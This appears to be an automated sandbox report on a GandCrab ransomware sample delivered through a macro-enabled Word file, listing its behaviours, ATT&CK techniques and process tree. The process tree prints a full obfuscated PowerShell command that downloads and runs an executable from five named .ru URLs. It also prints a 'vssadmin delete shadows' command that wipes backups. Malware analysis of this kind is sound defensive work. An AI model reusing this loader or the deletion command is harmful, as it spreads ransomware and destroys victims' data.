gandcrab | dcf3c03887af46b3160d984a6268ac3fcc6e659895ba4721e952ecaf363cfbdb

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

229.exe

description	ioc	process
File opened (read-only)	\??\A:	229.exe
File opened (read-only)	\??\L:	229.exe
File opened (read-only)	\??\M:	229.exe
File opened (read-only)	\??\O:	229.exe
File opened (read-only)	\??\Q:	229.exe
File opened (read-only)	\??\R:	229.exe
File opened (read-only)	\??\S:	229.exe
File opened (read-only)	\??\W:	229.exe
File opened (read-only)	\??\B:	229.exe
File opened (read-only)	\??\E:	229.exe
File opened (read-only)	\??\F:	229.exe
File opened (read-only)	\??\H:	229.exe
File opened (read-only)	\??\U:	229.exe
File opened (read-only)	\??\J:	229.exe
File opened (read-only)	\??\K:	229.exe
File opened (read-only)	\??\T:	229.exe
File opened (read-only)	\??\G:	229.exe
File opened (read-only)	\??\I:	229.exe
File opened (read-only)	\??\N:	229.exe
File opened (read-only)	\??\P:	229.exe
File opened (read-only)	\??\V:	229.exe
File opened (read-only)	\??\X:	229.exe
File opened (read-only)	\??\Y:	229.exe
File opened (read-only)	\??\Z:	229.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

229.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\\\bxmeoengtf.bmp"	229.exe

Drops file in Program Files directory 18 IoCs

Processes:

229.exe

description	ioc	process
File opened for modification	C:\Program Files\SaveSend.emz	229.exe
File opened for modification	C:\Program Files\SelectUnlock.search-ms	229.exe
File opened for modification	C:\Program Files\UndoExit.vsx	229.exe
File opened for modification	C:\Program Files\SaveInstall.mid	229.exe
File opened for modification	C:\Program Files\EnterRevoke.hta	229.exe
File opened for modification	C:\Program Files\ImportRead.wma	229.exe
File opened for modification	C:\Program Files\UseImport.reg	229.exe
File opened for modification	C:\Program Files\WatchBackup.vsdm	229.exe
File created	C:\Program Files\KXCSWK-MANUAL.txt	229.exe
File opened for modification	C:\Program Files\CompressClear.au	229.exe
File opened for modification	C:\Program Files\ShowEnable.tiff	229.exe
File opened for modification	C:\Program Files\UseDisable.avi	229.exe
File created	C:\Program Files (x86)\KXCSWK-MANUAL.txt	229.exe
File created	C:\Program Files (x86)\87f056b987f0515911d.lock	229.exe
File created	C:\Program Files\87f056b987f0515911d.lock	229.exe
File opened for modification	C:\Program Files\UnlockWatch.reg	229.exe
File opened for modification	C:\Program Files\UnprotectBackup.pdf	229.exe
File opened for modification	C:\Program Files\OutMove.xla	229.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

WINWORD.EXE229.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	229.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	229.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	229.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2456 WINWORD.EXE
2456 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exe229.exe

pid process

3424 powershell.exe
3424 powershell.exe
1076 229.exe
1076 229.exe
1076 229.exe
1076 229.exe
1076 229.exe
1076 229.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exeAUDIODG.EXE

description pid process

Token: SeDebugPrivilege 3424 powershell.exe
Token: 33 3876 AUDIODG.EXE
Token: SeIncBasePriorityPrivilege 3876 AUDIODG.EXE
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

229.exe

pid process

1076 229.exe
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

229.exe

pid process

1076 229.exe
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid process

2456 WINWORD.EXE
2456 WINWORD.EXE
2456 WINWORD.EXE
2456 WINWORD.EXE
2456 WINWORD.EXE
2456 WINWORD.EXE
2456 WINWORD.EXE
2456 WINWORD.EXE

pid	process
2456	WINWORD.EXE
2456	WINWORD.EXE

pid	process
3424	powershell.exe
3424	powershell.exe
1076	229.exe
1076	229.exe
1076	229.exe
1076	229.exe
1076	229.exe
1076	229.exe

description	pid	process
Token: SeDebugPrivilege	3424	powershell.exe
Token: 33	3876	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	3876	AUDIODG.EXE

pid	process
1076	229.exe

pid	process
1076	229.exe

pid	process
2456	WINWORD.EXE
2456	WINWORD.EXE
2456	WINWORD.EXE
2456	WINWORD.EXE
2456	WINWORD.EXE
2456	WINWORD.EXE
2456	WINWORD.EXE
2456	WINWORD.EXE

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

WINWORD.EXEcmd.exepowershell.exe229.exe

description	pid	process	target process
PID 2456 wrote to memory of 448	2456	WINWORD.EXE	cmd.exe
PID 2456 wrote to memory of 448	2456	WINWORD.EXE	cmd.exe
PID 448 wrote to memory of 3424	448	cmd.exe	powershell.exe
PID 448 wrote to memory of 3424	448	cmd.exe	powershell.exe
PID 3424 wrote to memory of 1076	3424	powershell.exe	229.exe
PID 3424 wrote to memory of 1076	3424	powershell.exe	229.exe
PID 3424 wrote to memory of 1076	3424	powershell.exe	229.exe
PID 1076 wrote to memory of 3100	1076	229.exe	cmd.exe
PID 1076 wrote to memory of 3100	1076	229.exe	cmd.exe
PID 1076 wrote to memory of 3100	1076	229.exe	cmd.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\dcf3c03887af46b3160d984a6268ac3fcc6e659895ba4721e952ecaf363cfbdb.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2456

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c set p=power&& set s=shell&& call %p%%s% $jFW34y5D = '$xp8tH = new-obj000ect -com000obj000ect wsc000ript.she000ll;$kCV9kL = new-object sys000tem.net.web000client;$DRYNu1fkG = new-object random;$ieNiLHVBJ = \"000h000t000t000p000s://starstyl.ru/assets/plugins/managermanager/widgets/mm_hidetabs/word.exe,000h000t000t000p000://prostor-rybalka.ru/assets/plugins/managermanager/widgets/colors/word.exe,000h000t000t000p000s://jewemsk.ru/core/components/gallery/lexicon/fr/word.exe,000h000t000t000p000://sndtgo.ru/word.exe,000h000t000t000p000://cosmo-wedding.ru/assets/snippets/ajaxSearch/js/ajaxSearch1/word.exe\".spl000it(\",\");$E3HiWI = $DRYNu1fkG.nex000t(1, 65536);$GsKdHAtm1 = \"c:\win000dows\tem000p\229.ex000e\";for000each($JY4LV in $ieNiLHVBJ){try{$kCV9kL.dow000nlo000adf000ile($JY4LV.ToS000tring(), $GsKdHAtm1);sta000rt-pro000cess $GsKdHAtm1;break;}catch{}}'.replace('000', $PYEHf);$iwHcp = '';iex($jFW34y5D);
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:448

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell $jFW34y5D = '$xp8tH = new-obj000ect -com000obj000ect wsc000ript.she000ll;$kCV9kL = new-object sys000tem.net.web000client;$DRYNu1fkG = new-object random;$ieNiLHVBJ = \"000h000t000t000p000s://starstyl.ru/assets/plugins/managermanager/widgets/mm_hidetabs/word.exe,000h000t000t000p000://prostor-rybalka.ru/assets/plugins/managermanager/widgets/colors/word.exe,000h000t000t000p000s://jewemsk.ru/core/components/gallery/lexicon/fr/word.exe,000h000t000t000p000://sndtgo.ru/word.exe,000h000t000t000p000://cosmo-wedding.ru/assets/snippets/ajaxSearch/js/ajaxSearch1/word.exe\".spl000it(\",\");$E3HiWI = $DRYNu1fkG.nex000t(1, 65536);$GsKdHAtm1 = \"c:\win000dows\tem000p\229.ex000e\";for000each($JY4LV in $ieNiLHVBJ){try{$kCV9kL.dow000nlo000adf000ile($JY4LV.ToS000tring(), $GsKdHAtm1);sta000rt-pro000cess $GsKdHAtm1;break;}catch{}}'.replace('000', $PYEHf);$iwHcp = '';iex($jFW34y5D);
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3424

C:\windows\temp\229.exe
"C:\windows\temp\229.exe"
4⤵
- Executes dropped EXE
- Modifies extensions of user files
- Checks computer location settings
- Drops startup file
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1076

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quiet
5⤵
PID:3100

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x4f4 0x4f8
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3876

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

4

System Information Discovery

5

Peripheral Device Discovery

T1120

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Defacement